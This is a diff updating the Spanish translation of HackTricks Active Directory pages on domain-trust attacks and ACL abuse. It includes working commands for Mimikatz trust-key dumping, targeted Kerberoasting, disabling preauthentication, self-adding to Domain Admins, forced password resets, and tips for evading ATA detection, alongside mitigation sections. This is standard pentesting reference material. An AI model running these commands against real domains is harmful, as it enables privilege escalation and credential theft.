-5. The client takes the inter-realm TGT to **Domain 2's Domain Controller (DC2)**.
-6. DC2 verifies the inter-realm TGT using its shared trust key and, if valid, issues a **Ticket Granting Service (TGS)** for the server in Domain 2 the client wants to access.
-7. Finally, the client presents this TGS to the server, which is encrypted with the server’s account hash, to get access to the service in Domain 2.
+1. Una **máquina cliente** en **Domain 1** inicia el proceso usando su **NTLM hash** para solicitar un **Ticket Granting Ticket (TGT)** a su **Domain Controller (DC1)**.
+2. DC1 emite un nuevo TGT si el cliente se autentica con éxito.
+3. El cliente entonces solicita un **inter-realm TGT** a DC1, que es necesario para acceder a recursos en **Domain 2**.
+4. El inter-realm TGT está cifrado con una **trust key** compartida entre DC1 y DC2 como parte de la confianza bidireccional entre dominios.
+5. El cliente lleva el inter-realm TGT al **Domain Controller (DC2)** de **Domain 2**.
+6. DC2 verifica el inter-realm TGT usando su clave de confianza compartida y, si es válido, emite un **Ticket Granting Service (TGS)** para el servidor en Domain 2 al que el cliente quiere acceder.
+7. Finalmente, el cliente presenta este TGS al servidor, el cual está cifrado con el hash de la cuenta del servidor, para obtener acceso al servicio en Domain 2.

 ### Different trusts

-Es importante notar que **a trust can be 1 way or 2 ways**. En la opción de 2 ways, ambos dominios se confiarán mutuamente, pero en la relación de **1 way** uno de los dominios será el **trusted** y el otro el **trusting** domain. En este último caso, **solo podrás acceder a recursos dentro del trusting domain desde el trusted one**.
+Es importante notar que **una confianza puede ser unidireccional o bidireccional**. En la opción bidireccional, ambos dominios se confiarán mutuamente, pero en la relación de confianza **unidireccional** uno de los dominios será el **trusted** y el otro el **trusting**. En este último caso, **solo podrás acceder a recursos dentro del dominio trusting desde el trusted**.

-Si Domain A trusts Domain B, A es el trusting domain y B es el trusted one. Además, en **Domain A**, esto sería un **Outbound trust**; y en **Domain B**, esto sería un **Inbound trust**.
+Si Domain A confía en Domain B, A es el dominio trusting y B es el trusted. Además, en **Domain A**, esto sería una **Outbound trust**; y en **Domain B**, sería una **Inbound trust**.

-**Different trusting relationships**
+**Diferentes relaciones de confianza**

- **Parent-Child Trusts**: Esta es una configuración común dentro del mismo forest, donde un child domain automáticamente tiene un trust transitive de dos vías con su parent domain. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el parent y el child.
- **Cross-link Trusts**: Referidas como "shortcut trusts", se establecen entre child domains para acelerar procesos de referral. En forests complejos, las referencias de autenticación típicamente tienen que viajar hasta la raíz del forest y luego descender hasta el dominio objetivo. Al crear cross-links, el trayecto se acorta, lo cual es especialmente beneficioso en entornos geográficamente dispersos.
- **External Trusts**: Se configuran entre dominios diferentes y no relacionados y son no-transitive por naturaleza. Según la documentación de [Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), los external trusts son útiles para acceder a recursos en un dominio fuera del forest actual que no esté conectado por un forest trust. La seguridad se refuerza mediante SID filtering con external trusts.
- **Tree-root Trusts**: Estos trusts se establecen automáticamente entre el forest root domain y un tree root recién añadido. Aunque no se encuentran comúnmente, los tree-root trusts son importantes para añadir nuevos árboles de dominio a un forest, permitiéndoles mantener un nombre de dominio único y asegurando transitividad bidireccional. Más información en la guía de [Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Forest Trusts**: Este tipo de trust es un trust transitive de dos vías entre dos forest root domains, también aplicando SID filtering para mejorar las medidas de seguridad.
- **MIT Trusts**: Estos trusts se establecen con dominios Kerberos no-Windows compatibles con [RFC4120](https://tools.ietf.org/html/rfc4120). Los MIT trusts son un poco más especializados y atienden a entornos que requieren integración con sistemas basados en Kerberos fuera del ecosistema Windows.
+- **Parent-Child Trusts**: Esta es una configuración común dentro del mismo bosque, donde un dominio hijo tiene automáticamente una confianza transitiva bidireccional con su dominio padre. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el padre y el hijo.
+- **Cross-link Trusts**: Conocidas como "shortcut trusts", se establecen entre dominios hijos para acelerar los procesos de referencia. En bosques complejos, las referencias de autenticación típicamente deben viajar hasta la raíz del bosque y luego bajar al dominio objetivo. Al crear cross-links, se acorta el recorrido, lo cual es especialmente útil en entornos geográficamente dispersos.
+- **External Trusts**: Se configuran entre dominios diferentes y no relacionados y son no transitivos por naturaleza. Según la [documentación de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), las external trusts son útiles para acceder a recursos en un dominio fuera del bosque actual que no está conectado por una forest trust. La seguridad se refuerza mediante SID filtering con external trusts.
+- **Tree-root Trusts**: Estas confianzas se establecen automáticamente entre el dominio raíz del bosque y una nueva tree root añadida. Aunque no son muy comunes, las tree-root trusts son importantes para añadir nuevos árboles de dominio a un bosque, permitiendo que mantengan un nombre de dominio único y asegurando transitividad bidireccional. Más información en la [guía de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
+- **Forest Trusts**: Este tipo de trust es una confianza transitiva bidireccional entre dos dominios raíz de bosque, aplicando también SID filtering para mejorar la seguridad.
+- **MIT Trusts**: Estas confianzas se establecen con dominios Kerberos no Windows que cumplen [RFC4120](https://tools.ietf.org/html/rfc4120). MIT trusts son un poco más especializados y atienden entornos que requieren integración con sistemas basados en Kerberos fuera del ecosistema Windows.

-#### Otras diferencias en las **trusting relationships**
+#### Other differences in **trusting relationships**

- Una relación de trust también puede ser **transitive** (A trust B, B trust C, entonces A trust C) o **non-transitive**.
- Una relación de trust puede configurarse como **bidirectional trust** (ambos se confían mutuamente) o como **one-way trust** (solo uno confía en el otro).
+- Una relación de confianza también puede ser **transitiva** (A confía en B, B confía en C, entonces A confía en C) o **no transitiva**.
+- Una relación de confianza puede configurarse como **bidireccional** (ambos se confían mutuamente) o como **unidireccional** (solo uno confía en el otro).

-### Ruta de ataque
+### Attack Path

-1. **Enumerar** las trusting relationships
-2. Verificar si algún **security principal** (user/group/computer) tiene **access** a recursos del **otro dominio**, quizá mediante entradas ACE o por estar en grupos del otro dominio. Buscar **relationships across domains** (probablemente se creó el trust para esto).
+1. **Enumerar** las relaciones de confianza
+2. Comprobar si algún **security principal** (user/group/computer) tiene **acceso** a recursos del **otro dominio**, quizá por entradas ACE o por pertenecer a grupos del otro dominio. Buscar **relaciones entre dominios** (probablemente la confianza se creó para esto).
 1. kerberoast en este caso podría ser otra opción.
-3. **Comprometer** las **accounts** que pueden **pivot** a través de dominios.
+3. **Comprometer** las **cuentas** que pueden **pivotar** entre dominios.

-Los atacantes pueden acceder a recursos en otro dominio mediante tres mecanismos principales:
+Los atacantes podrían acceder a recursos en otro dominio mediante tres mecanismos principales:

- **Local Group Membership**: Principales podrían añadirse a grupos locales en máquinas, como el grupo “Administrators” en un servidor, otorgándoles control significativo sobre esa máquina.
- **Foreign Domain Group Membership**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza del trust y el alcance del grupo.
- **Access Control Lists (ACLs)**: Los principales podrían estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de una **DACL**, proporcionándoles acceso a recursos específicos. Para quienes quieran profundizar en la mecánica de ACLs, DACLs y ACEs, el whitepaper titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable.
+- **Local Group Membership**: Principales que podrían agregarse a grupos locales en máquinas, como el grupo “Administrators” en un servidor, otorgándoles control significativo sobre esa máquina.
+- **Foreign Domain Group Membership**: Principales que también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y del alcance del grupo.
+- **Access Control Lists (ACLs)**: Principales que podrían estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de una **DACL**, proporcionándoles acceso a recursos específicos. Para quienes quieran profundizar en la mecánica de ACLs, DACLs y ACEs, el whitepaper titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable.

-### Encontrar usuarios/grupos externos con permisos
+### Find external users/groups with permissions

-Puedes revisar **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** para encontrar foreign security principals en el dominio. Estos serán user/group de **un domain/forest externo**.
+Puedes revisar **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** para encontrar foreign security principals en el dominio. Estos serán usuarios/grupos de **un dominio/bosque externo**.

-Puedes comprobar esto en **Bloodhound** o usando powerview:
+Podrías comprobar esto en **Bloodhound** o usando powerview:
 ```powershell
 # Get users that are i groups outside of the current domain
 Get-DomainForeignUser
@ -626,7 +626,7 @@ TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
 WhenCreated     : 2/19/2021 1:28:00 PM
 WhenChanged     : 2/19/2021 1:28:00 PM
 ```
-Otras formas de enumerar los trusts de dominio:
+Otras formas de enumerar las relaciones de confianza entre dominios:
 ```bash
 # Get DCs
 nltest /dsgetdc:<DOMAIN>
@ -639,8 +639,8 @@ nltest /dclist:sub.domain.local
 nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
 ```
 > [!WARNING]
-> Hay **2 claves de confianza**, una para _Child --> Parent_ y otra para _Parent_ --> _Child_.\
-> Puedes ver cuál usa el dominio actual con:
+> Hay **2 trusted keys**, una para _Child --> Parent_ y otra para _Parent_ --> _Child_.\
+> Puedes comprobar cuál usa el dominio actual con:
 >
 > ```bash
 > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -649,7 +649,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

 #### SID-History Injection

-Escalar a Enterprise admin en el dominio hijo/padre abusando de la confianza con SID-History injection:
+Escalate as Enterprise admin to the child/parent domain abusing the trust with SID-History injection:


 {{#ref}}
@ -658,19 +658,19 @@ sid-history-injection.md

 #### Exploit writeable Configuration NC

-Comprender cómo se puede explotar el Configuration Naming Context (NC) es crucial. El Configuration NC sirve como repositorio central para los datos de configuración a través de un bosque en entornos de Active Directory (AD). Estos datos se replican a cada Domain Controller (DC) dentro del bosque, y los DCs con permisos de escritura mantienen una copia escribible del Configuration NC. Para explotarlo, se deben tener **privilegios SYSTEM en un DC**, preferiblemente un DC del dominio hijo.
+Entender cómo puede explotarse la Configuration Naming Context (NC) es crucial. La Configuration NC sirve como un repositorio central de datos de configuración a través de un forest en entornos Active Directory (AD). Estos datos se replican a todos los Domain Controller (DC) dentro del forest, y los writable DCs mantienen una copia escribible de la Configuration NC. Para explotarlo, se necesitan privilegios SYSTEM en un DC, preferiblemente un child DC.

-**Vincular GPO al sitio raíz del DC**
+**Link GPO to root DC site**

-El contenedor Sites del Configuration NC incluye información sobre los sitios de todos los equipos unidos al dominio dentro del bosque de AD. Al operar con privilegios SYSTEM en cualquier DC, los atacantes pueden vincular GPOs a los sitios raíz de los DC. Esta acción puede comprometer potencialmente el dominio raíz al manipular las políticas aplicadas a esos sitios.
+El contenedor Sites de la Configuration NC incluye información sobre los sites de todos los equipos unidos al dominio dentro del AD forest. Operando con privilegios SYSTEM en cualquier DC, un atacante puede link GPOs a los root DC sites. Esta acción potencialmente compromete el root domain manipulando las políticas aplicadas a esos sites.

 For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).

 **Compromise any gMSA in the forest**

-Un vector de ataque implica dirigirse a gMSAs privilegiadas dentro del dominio. La KDS Root key, esencial para calcular las contraseñas de las gMSAs, se almacena en el Configuration NC. Con privilegios SYSTEM en cualquier DC, es posible acceder a la KDS Root key y calcular las contraseñas de cualquier gMSA en todo el bosque.
+Un vector de ataque implica dirigirse a gMSAs privilegiados dentro del domain. La KDS Root key, esencial para calcular las contraseñas de los gMSAs, está almacenada en la Configuration NC. Con privilegios SYSTEM en cualquier DC, es posible acceder a la KDS Root key y calcular las contraseñas de cualquier gMSA en todo el forest.

-Detailed analysis and step-by-step guidance can be found in:
+Un análisis detallado y una guía paso a paso pueden encontrarse en:


 {{#ref}}
@ -688,13 +688,13 @@ Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/t

 **Schema change attack**

-Este método requiere paciencia: esperar la creación de nuevos objetos privilegiados de AD. Con privilegios SYSTEM, un atacante puede modificar el AD Schema para otorgar a cualquier usuario control total sobre todas las clases. Esto podría derivar en acceso y control no autorizados sobre los objetos de AD recién creados.
+Este método requiere paciencia, esperar a la creación de nuevos objetos AD privilegiados. Con privilegios SYSTEM, un atacante puede modificar el AD Schema para conceder a cualquier usuario control completo sobre todas las clases. Esto podría derivar en acceso y control no autorizados sobre nuevos objetos AD.

 Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).

 **From DA to EA with ADCS ESC5**

-La vulnerabilidad ADCS ESC5 apunta a obtener control sobre objetos de Public Key Infrastructure (PKI) para crear una plantilla de certificado que permita autenticarse como cualquier usuario dentro del bosque. Dado que los objetos PKI residen en el Configuration NC, comprometer un DC hijo escribible permite ejecutar ataques ESC5.
+La vulnerabilidad ADCS ESC5 apunta a controlar objetos de Public Key Infrastructure (PKI) para crear una certificate template que permita autenticarse como cualquier usuario dentro del forest. Como los objetos PKI residen en la Configuration NC, comprometer un writable child DC permite ejecutar ataques ESC5.

 More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).

@ -709,14 +709,14 @@ TrustDirection  : Inbound          --> Inboud trust
 WhenCreated     : 2/19/2021 10:50:56 PM
 WhenChanged     : 2/19/2021 10:50:56 PM
 ```
-En este escenario, un dominio externo confía en tu dominio, otorgándote **permisos indeterminados** sobre él. Necesitarás averiguar **qué principals de tu dominio tienen qué acceso sobre el dominio externo** y luego intentar explotarlo:
+En este escenario **tu dominio es confiado** por un dominio externo, lo que te otorga **permisos indeterminados** sobre él. Necesitarás encontrar **qué principales de tu dominio tienen qué acceso sobre el dominio externo** y luego intentar explotarlo:


 {{#ref}}
 external-forest-domain-oneway-inbound.md
 {{#endref}}

-### Dominio de bosque externo - Unidireccional (Saliente)
+### Dominio de bosque externo - Unidireccional (Salida)
 ```bash
 Get-DomainTrust -Domain current.local

@ -728,20 +728,18 @@ TrustDirection  : Outbound        --> Outbound trust
 WhenCreated     : 2/19/2021 10:15:24 PM
 WhenChanged     : 2/19/2021 10:15:24 PM
 ```
-En este escenario **tu dominio** está **confiando** algunos **privilegios** a un principal de **dominios diferentes**.
-
-Sin embargo, cuando un **dominio es confiado** por el dominio que confía, el dominio confiado **crea un usuario** con un **nombre predecible** que usa como **contraseña la contraseña de confianza**. Esto significa que es posible **acceder a un usuario del dominio que confía para ingresar al dominio confiado** para enumerarlo e intentar escalar más privilegios:
+En este escenario **tu dominio** está **confiando** algunos **privilegios** a un principal de **un dominio diferente**.

+Sin embargo, cuando un **dominio es confiado** por el dominio que confía, el dominio confiado **crea un usuario** con un **nombre predecible** que utiliza como **contraseña la contraseña confiada**. Lo que significa que es posible **acceder a un usuario del dominio que confía para entrar en el dominio confiado** para enumerarlo e intentar escalar más privilegios:

 {{#ref}}
 external-forest-domain-one-way-outbound.md
 {{#endref}}

-Otra forma de comprometer el dominio confiado es encontrar un [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) creado en la **dirección opuesta** de la confianza de dominio (lo cual no es muy común).
-
-Otra forma de comprometer el dominio confiado es esperar en una máquina a la que un **user from the trusted domain can access** pueda iniciar sesión vía **RDP**. Luego, el atacante podría inyectar código en el proceso de la sesión RDP y **acceder al dominio de origen de la víctima** desde allí.\
-Además, si la **víctima montó su disco duro**, desde el proceso de la **RDP session** el atacante podría almacenar **backdoors** en la **startup folder of the hard drive**. Esta técnica se llama **RDPInception.**
+Otra forma de comprometer el dominio confiado es encontrar un [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) creado en la **dirección opuesta** de la confianza entre dominios (lo cual no es muy común).

+Otra forma de comprometer el dominio confiado es esperar en una máquina a la que un **usuario del dominio confiado puede acceder** para iniciar sesión vía **RDP**. Entonces, el atacante podría inyectar código en el proceso de la sesión RDP y **acceder desde allí al dominio de origen de la víctima**.\
+Además, si la **víctima montó su disco duro**, desde el proceso de la **sesión RDP** el atacante podría almacenar **backdoors** en la **carpeta de inicio del disco duro**. Esta técnica se llama **RDPInception.**

 {{#ref}}
 rdp-sessions-abuse.md
@ -749,21 +747,20 @@ rdp-sessions-abuse.md

 ### Mitigación del abuso de confianza entre dominios

-### **SID Filtering:**
+### **Filtrado de SID:**

- El riesgo de ataques que aprovechan el atributo SIDHistory a través de confianzas entre bosques se mitiga mediante SID Filtering, que está activado por defecto en todas las confianzas inter-bosque. Esto se sustenta en la suposición de que las confianzas intra-bosque son seguras, considerando el bosque, en lugar del dominio, como el límite de seguridad según la postura de Microsoft.
- Sin embargo, hay una pega: SID filtering podría interrumpir aplicaciones y el acceso de usuarios, lo que conduce a su desactivación ocasional.
+- El riesgo de ataques que aprovechan el atributo SID history a través de confianzas entre bosques se mitiga con el Filtrado de SID, que está activado por defecto en todas las confianzas entre bosques. Esto se basa en la suposición de que las confianzas intra-bosque son seguras, considerando el bosque, en lugar del dominio, como el límite de seguridad según la postura de Microsoft.
+- Sin embargo, hay una trampa: el filtrado de SID puede interrumpir aplicaciones y el acceso de usuarios, lo que lleva a que a veces se desactive.

-### **Selective Authentication:**
+### **Autenticación selectiva:**

- Para confianzas inter-bosque, emplear Selective Authentication asegura que los usuarios de los dos bosques no se autentiquen automáticamente. En su lugar, se requieren permisos explícitos para que los usuarios accedan a dominios y servidores dentro del dominio o bosque que confía.
- Es importante notar que estas medidas no protegen frente a la explotación del writable Configuration Naming Context (NC) ni frente a ataques contra la cuenta de confianza.
+- Para las confianzas entre bosques, emplear la Autenticación Selectiva asegura que los usuarios de los dos bosques no sean autenticados automáticamente. En su lugar, se requieren permisos explícitos para que los usuarios accedan a dominios y servidores dentro del dominio o bosque que confía.
+- Es importante notar que estas medidas no protegen contra la explotación del Configuration Naming Context (NC) escribible ni contra ataques a la cuenta de confianza.

 [**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)

 ## AD -> Azure & Azure -> AD

-
 {{#ref}}
 https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
 {{#endref}}
@ -774,19 +771,19 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move

 ### **Medidas defensivas para la protección de credenciales**

- **Domain Admins Restrictions**: Se recomienda que Domain Admins solo puedan iniciar sesión en Domain Controllers, evitando su uso en otros hosts.
+- **Domain Admins Restrictions**: Se recomienda que los Domain Admins solo puedan iniciar sesión en Domain Controllers, evitando su uso en otros hosts.
 - **Service Account Privileges**: Los servicios no deberían ejecutarse con privilegios de Domain Admin (DA) para mantener la seguridad.
- **Temporal Privilege Limitation**: Para tareas que requieran privilegios DA, su duración debe limitarse. Esto se puede lograr con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+- **Temporal Privilege Limitation**: Para tareas que requieren privilegios DA, su duración debe ser limitada. Esto puede lograrse con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`

-### **Implementar técnicas de decepción**
+### **Implementación de técnicas de engaño**

- Implementar decepción implica colocar trampas, como usuarios o equipos señuelo, con características como contraseñas que no expiran o que están marcadas como Trusted for Delegation. Un enfoque detallado incluye crear usuarios con derechos específicos o añadirlos a grupos de alto privilegio.
+- Implementar engaños implica colocar trampas, como usuarios o equipos señuelo, con características tales como contraseñas que no expiran o que están marcados como Trusted for Delegation. Un enfoque detallado incluye crear usuarios con derechos específicos o agregarlos a grupos de alto privilegio.
 - Un ejemplo práctico implica usar herramientas como: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Más sobre el despliegue de técnicas de decepción puede encontrarse en [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
+- More on deploying deception techniques can be found at [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).

-### **Identificando la decepción**
+### **Identificación de engaños**

- **For User Objects**: Indicadores sospechosos incluyen ObjectSID atípico, inicios de sesión poco frecuentes, fechas de creación y bajos conteos de contraseñas incorrectas.
+- **For User Objects**: Indicadores sospechosos incluyen ObjectSID atípico, inicios de sesión poco frecuentes, fechas de creación y bajo recuento de contraseñas erróneas.
 - **General Indicators**: Comparar atributos de posibles objetos señuelo con los de objetos genuinos puede revelar inconsistencias. Herramientas como [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) pueden ayudar a identificar tales engaños.

 ### **Evasión de sistemas de detección**
@ -794,7 +791,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
 - **Microsoft ATA Detection Bypass**:
 - **User Enumeration**: Evitar la enumeración de sesiones en Domain Controllers para prevenir la detección por ATA.
 - **Ticket Impersonation**: Utilizar claves **aes** para la creación de tickets ayuda a evadir la detección al no degradar a NTLM.
- **DCSync Attacks**: Se recomienda ejecutar desde un equipo que no sea Domain Controller para evitar la detección por ATA, ya que la ejecución directa desde un Domain Controller generará alertas.
+- **DCSync Attacks**: Se recomienda ejecutar desde un equipo que no sea Domain Controller para evitar la detección por ATA, ya que la ejecución directa desde un Domain Controller disparará alertas.

 ## Referencias

--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
+++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
@ -2,7 +2,7 @@

 {{#include ../../../banners/hacktricks-training.md}}

-**Esta página es, en su mayoría, un resumen de las técnicas de** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **y** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Para más detalles, consulte los artículos originales.**
+**Esta página es principalmente un resumen de las técnicas de** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **y** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Para más detalles, consulte los artículos originales.**

 ## BadSuccessor

@ -11,24 +11,24 @@
 BadSuccessor.md
 {{#endref}}

-## **GenericAll Derechos sobre el Usuario**
+## **GenericAll Rights on User**

-Este privilegio le otorga a un atacante el control total sobre una cuenta de usuario objetivo. Una vez que los permisos `GenericAll` se confirman usando el comando `Get-ObjectAcl`, un atacante puede:
+Este privilegio otorga al atacante control total sobre una cuenta de usuario objetivo. Una vez confirmados los derechos `GenericAll` usando el comando `Get-ObjectAcl`, un atacante puede:

 - **Cambiar la contraseña del objetivo**: Usando `net user <username> <password> /domain`, el atacante puede restablecer la contraseña del usuario.
- **Targeted Kerberoasting**: Asignar un SPN a la cuenta del usuario para hacerla kerberoastable, luego usar Rubeus y targetedKerberoast.py para extraer e intentar descifrar los hashes del ticket-granting ticket (TGT).
+- **Targeted Kerberoasting**: Asigne un SPN a la cuenta del usuario para hacerla kerberoastable, luego use Rubeus y targetedKerberoast.py para extraer e intentar crackear los hashes del ticket-granting ticket (TGT).
 ```bash
 Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
 .\Rubeus.exe kerberoast /user:<username> /nowrap
 Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
 ```
- **Targeted ASREPRoasting**: Deshabilitar la preautenticación para el usuario, haciendo que su cuenta sea vulnerable a ASREPRoasting.
+- **Targeted ASREPRoasting**: Deshabilitar la preautenticación para el usuario, dejando su cuenta vulnerable a ASREPRoasting.
 ```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```
-## **Permisos GenericAll sobre el grupo**
+## **Derechos GenericAll sobre el grupo**

-Este privilegio permite a un atacante manipular las membresías del grupo si tiene derechos `GenericAll` sobre un grupo como `Domain Admins`. Tras identificar el nombre distinguido del grupo con `Get-NetGroup`, el atacante puede:
+Este privilegio permite a un atacante manipular las pertenencias a grupos si tiene derechos `GenericAll` sobre un grupo como `Domain Admins`. Tras identificar el nombre distinguido del grupo con `Get-NetGroup`, el atacante puede:

 - **Añadirse al grupo Domain Admins**: Esto se puede hacer mediante comandos directos o usando módulos como Active Directory o PowerSploit.
 ```bash
@ -36,7 +36,7 @@ net group "domain admins" spotless /add /domain
 Add-ADGroupMember -Identity "domain admins" -Members spotless
 Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
 ```
- Desde Linux también puedes usar BloodyAD para añadirte a grupos arbitrarios cuando tienes GenericAll/Write membership sobre ellos. Si el grupo objetivo está anidado en “Remote Management Users”, obtendrás inmediatamente acceso WinRM en hosts que respeten ese grupo:
+- Desde Linux también puedes aprovechar BloodyAD para añadirte a grupos arbitrarios cuando tienes GenericAll/Write sobre ellos. Si el grupo objetivo está anidado en “Remote Management Users”, obtendrás inmediatamente acceso WinRM en hosts que respeten ese grupo:
 ```bash
 # Linux tooling example (BloodyAD) to add yourself to a target group
 bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
@ -46,35 +46,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
 ```
 ## **GenericAll / GenericWrite / Write on Computer/User**

-Tener estos privilegios en un objeto computer o en una cuenta de usuario permite:
+Poseer estos privilegios en un objeto de equipo o en una cuenta de usuario permite:

- **Kerberos Resource-based Constrained Delegation**: Permite apoderarse de un objeto computer.
- **Shadow Credentials**: Usar esta técnica para suplantar a un computer o cuenta de usuario explotando los privilegios para crear Shadow Credentials.
+- **Kerberos Resource-based Constrained Delegation**: Permite tomar control de un objeto de equipo.
+- **Shadow Credentials**: Utiliza esta técnica para suplantar a un equipo o a una cuenta de usuario explotando los privilegios para crear shadow credentials.

 ## **WriteProperty on Group**

-Si un usuario tiene `WriteProperty` rights on all objects for a specific group (p. ej., `Domain Admins`), puede:
+Si un usuario tiene `WriteProperty` derechos en todos los objetos de un grupo específico (por ejemplo, `Domain Admins`), puede:

- **Add Themselves to the Domain Admins Group**: Lograble combinando los comandos `net user` y `Add-NetGroupUser`, este método permite la escalada de privilegios dentro del dominio.
+- **Añadirse al grupo Domain Admins**: Lograble combinando los comandos `net user` y `Add-NetGroupUser`, este método permite la escalada de privilegios dentro del dominio.
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
-## **Self (Self-Membership) on Group
+## **Self (Self-Membership) on Group**

-Este privilegio permite a los atacantes agregarse a sí mismos a grupos específicos, como `Domain Admins`, mediante comandos que manipulan directamente la pertenencia al grupo. El uso de la siguiente secuencia de comandos permite la auto-adición:
+Este privilegio permite a los atacantes agregarse a sí mismos a grupos específicos, como `Domain Admins`, mediante comandos que manipulan directamente la pertenencia a grupos. Usar la siguiente secuencia de comandos permite la auto-adición:
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **WriteProperty (Self-Membership)**

-Un privilegio similar, esto permite a los atacantes agregarse directamente a grupos modificando las propiedades del grupo si tienen el derecho `WriteProperty` sobre esos grupos. La confirmación y ejecución de este privilegio se realizan con:
+Un privilegio similar, esto permite a los atacantes agregarse directamente a grupos modificando propiedades de los grupos si tienen el derecho `WriteProperty` sobre esos grupos. La confirmación y ejecución de este privilegio se realizan con:
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 net group "domain admins" spotless /add /domain
 ```
 ## **ForceChangePassword**

-Tener el `ExtendedRight` sobre un usuario para `User-Force-Change-Password` permite restablecer contraseñas sin conocer la contraseña actual. La verificación de este derecho y su explotación puede realizarse mediante PowerShell u otras herramientas de línea de comandos, ofreciendo varios métodos para restablecer la contraseña de un usuario, incluyendo sesiones interactivas y one-liners para entornos no interactivos. Los comandos van desde invocaciones sencillas de PowerShell hasta el uso de `rpcclient` en Linux, demostrando la versatilidad de los vectores de ataque.
+Poseer el `ExtendedRight` sobre un usuario para `User-Force-Change-Password` permite restablecer contraseñas sin conocer la contraseña actual. La verificación de este derecho y su explotación puede realizarse mediante PowerShell u otras herramientas de línea de comandos, ofreciendo varias formas de restablecer la contraseña de un usuario, incluidas sesiones interactivas y comandos de una sola línea para entornos no interactivos. Los comandos van desde simples invocaciones de PowerShell hasta el uso de `rpcclient` en Linux, demostrando la versatilidad de los attack vectors.
 ```bash
 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainUserPassword -Identity delegate -Verbose
